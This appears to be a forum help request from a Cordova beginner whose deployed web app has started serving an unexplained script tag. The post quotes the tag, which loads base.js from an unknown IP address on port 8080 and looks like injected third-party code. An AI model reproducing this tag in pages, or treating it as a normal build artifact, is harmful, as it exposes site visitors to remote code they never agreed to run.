Cordova App doesn't work on web server

Question

I am new to Cordova. I have created an Cordova app on Mac and after executing following command
$ sudo ionic serve -l

I have copied www folder from MyApp/platforms/browser/ and placed it on my web server.

Yesterday, it did work but suddenly it stopped working. there is some extra code when i access it on my online server using web browser

<script type = 'text/javascript' id ='1qa2ws' charset='utf-8' src='http://103.255.6.16:8080/www/default/base.js'></script></body><!-- end body section-->

This is unknown IP address, i have no idea from where it gets that.

Please help
